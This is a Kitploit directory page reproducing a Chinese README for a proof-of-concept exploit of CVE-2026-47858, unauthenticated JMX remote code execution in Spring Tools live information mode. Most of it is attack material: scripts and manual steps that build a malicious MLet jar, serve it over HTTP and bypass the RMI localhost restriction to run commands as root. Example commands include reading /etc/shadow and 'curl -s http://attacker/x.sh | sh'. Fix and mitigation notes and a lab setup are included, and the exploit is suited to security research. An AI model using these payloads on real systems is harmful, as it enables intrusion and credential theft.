Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.

عرض المستودع
6منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2026-47858 — Spring Tools live information 模式未授权 JMX 远程代码执行(PoC)

English README | 漏洞公告: Spring Security Advisory | CVE Record

漏洞:Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 以 live information 模式(默认开启)启动 Spring Boot 应用时,会向应用注入无认证、无 TLS、绑定全部网卡的 JMX 远程参数。相邻网络的攻击者可以无凭据连接该 JMX MBeanServer,并通过 MLet 远程类加载实现直接 RCE(root 权限)。

  • CWE-306 Missing Authentication for Critical Function
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • 修复版本:Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0(5 之前的所有版本同样受影响且不受支持)

目录

  1. 根因(源码证据)
  2. 快速复现(一键脚本)
  3. 漏洞利用用法(灵活命令)
  4. 攻击原理:直接 RCE,非反连型
  5. 测试矩阵与证据
  6. 修复与缓解
  7. 仓库结构
  8. 免责声明

1. 根因(源码证据)

以受影响 tag 5.2.0.RELEASE(== v2.2.0)对比修复 tag 5.3.0.RELEASE(== v2.3.0):

漏洞版 eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

root@kitploit:~
"-Dcom.sun.management.jmxremote",                  // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
"-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true:默认开启,每次从 IDE 启动 Boot 应用都会注入上述参数。
  • VSCode 扩展 2.2.0(vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts)注入相同的 -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false。

修复版 5.3.0:

  • 固定端口时增加 -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true(JMX 仅绑定回环)。
  • 默认(端口 0)时完全不再注入 com.sun.management.jmxremote* 参数,改为通过 Attach API 按进程 PID 本地附加(VSCode 侧同理,debug-config-provider.ts 中彻底移除远程 JMX 参数)。

注意:-Dcom.sun.management.jmxremote.port 单独出现即会启用 JMX agent(无需主开关 com.sun.management.jmxremote),VSCode 变体同样有效。


2. 快速使用(两个独立脚本)

脚本完全分离:setup-lab.sh 只负责搭建环境,attack.sh 只负责攻击利用。依赖:docker、JDK 17+(默认 /usr/lib/jvm/java-21-openjdk-amd64)、maven、python3、nsenter(可选)。

2.1 第一步:搭建环境(setup-lab.sh)

root@kitploit:~
./setup-lab.sh vuln          # 漏洞配置 (5.2.0 参数)   [默认]
./setup-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup       # 停止并删除容器与网络

自动完成:构建受害 Spring Boot 应用 → 创建隔离 docker 桥接网络(受害容器 172.22.0.x,攻击者位于宿主机,模拟相邻网络)→ 按对应版本 JVM 参数启动应用 → 展示 JMX 监听端口 → 输出受害机 IP / JMX 端口 / 网关。受害容器保持运行,可直接进入下一步攻击。

2.2 第二步:攻击利用(attack.sh)

root@kitploit:~
./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000

利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。

对照实验:先 ./setup-lab.sh vuln 攻击成功;再 ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned 攻击应失败(JMX 仅回环)。


3. 漏洞利用用法(灵活命令)

3.1 一键利用 attack.sh(推荐)

命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):

root@kitploit:~
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]

# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标

# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK

过程:自动编译 evil.jar → 将命令 XML 转义后生成 mlet.txt → 起 HTTP 服务提供 evil.jar + mlet.txt → 编译并运行 JmxExploit。载荷只负责执行命令并回显输出,不在目标机写任何文件。

3.2 手动分步

root@kitploit:~
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF

# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下

# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"

# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)

3.3 载荷与回显

  • Pwn 实现 DynamicMBean,命令在构造函数中经 /bin/sh -c 同步执行(优先级:MLET <ARG> 参数 > 受害进程环境变量 CVE_PAYLOAD_CMD > 默认命令 id; hostname; uname -a)。
  • 有回显、零落盘:命令的 stdout/stderr 被 Pwn 捕获到内存,利用程序在加载后经 JMX 调用 getOutput() / getExitCode() 把输出和退出码拉回攻击端显示;目标机上不会写入任何文件(命令自身副作用除外)。若想同时保留输出到目标机,命令里自行重定向("id > /tmp/out.txt" 或 "id 2>&1 | tee /app.log")。

为什么用 <ARG>?JDK MLetParser 只识别 <ARG>(<PARAM> 会被静默忽略),且 TYPE/VALUE 均为必填;另外 MLet 解析器不处理 HTML 注释,mlet.txt 中不要出现任何多余的 <...> 文本。


4. 攻击原理:直接 RCE,非反连型

root@kitploit:~
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090)       ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口)          ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null)           ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...)     ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar         ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>")    ← 命令在受害进程内直接执行
  • 直接执行:命令在受害 JVM 内同步执行,getMBeansFromURL 返回时命令已完成(输出已落到受害应用的日志/控制台)。
  • 非反连型:无需 JNDI/LDAP/RMI 反连。经典反连(Log4Shell/JRMPListener 型)是受害进程主动回连攻击者的 LDAP/RMI 服务;本攻击相反——攻击者全程主动连接受害者的 JMX 服务并驱动其执行。
  • 唯一的受害→攻击者流量是普通的 HTTP GET(下载载荷 jar,相当于把恶意 class 投递到目标机),不构成反连 shell,也不要求连接保持。
  • 绕过说明:漏洞参数中的 -Djava.rmi.server.hostname=localhost 只让 RMI stub 通告 "localhost"(默认客户端会去连自己的回环而失败,可用 NaiveJmxClient 复现)。JmxExploit 通过反射改写 stub 的 TCPEndpoint 主机为真实 IP 即可绕过(Metasploit java_jmx_server 等现成工具同样可绕过)。

5. 测试矩阵与证据

实测证据(攻击端直接回显,目标机零文件):

root@kitploit:~
[+] --- command output (echoed from the target) ---
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar   # ← 命令经 <ARG> 传入后同步执行
SECOND_FLEXIBLE_RUN
root
/
-rw-r--r-- 1 root root 21924167 ... /app.jar
[+] --- exit code: 0 ---

6. 修复与缓解

  • 升级:Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0(OSS)。
  • 无法升级时(官方 workaround):启动 Spring Boot 应用时关闭 live information(Boot 启动配置中的 "Enable live information" 选项)。
  • 应急缓解:确保开发机防火墙不向局域网暴露 IDE 启动的应用;或为应用显式添加 -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true 覆盖。

7. 仓库结构

root@kitploit:~
CVE-2026-47858/
├── README.md                 # 本文档(中文)
├── README.en.md              # 英文文档
├── setup-lab.sh              # 环境搭建脚本(vuln / fixed-pinned / fixed-auto / cleanup)
├── attack.sh                 # 攻击利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│   ├── JmxExploit.java       # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│   └── NaiveJmxClient.java   # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│   ├── evil/Pwn.java         # 恶意 DynamicMBean(构造函数执行命令)
│   ├── mlet.txt.template     # MLET 描述模板(命令占位符 __COMMAND__)
│   └── evil.jar              # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/           # 受害 Spring Boot 4.0.7 应用(web+actuator)

8. 免责声明

本仓库仅用于授权的安全研究、漏洞验证与防御测试。未经授权对任何系统实施利用属违法行为,使用者自行承担全部责任。

تنزيل الأداة
配置JMX 监听远程未授权连接RCE
5.2.0 漏洞版(Eclipse 参数)*:19090 等(0.0.0.0)✅(stub 主机重写绕过 localhost)✅ root
5.2.0 漏洞版(VSCode 2.2.0 参数)*:19090(0.0.0.0)✅✅
5.3.0 修复版(固定端口)仅 127.0.0.1❌ 连接被拒❌
5.3.0 修复版(默认 auto)无 JMX 端口❌❌